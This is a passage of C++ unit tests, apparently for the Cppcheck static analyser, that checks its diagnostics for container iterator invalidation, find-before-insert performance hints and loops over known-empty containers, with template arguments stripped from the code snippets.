\" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" 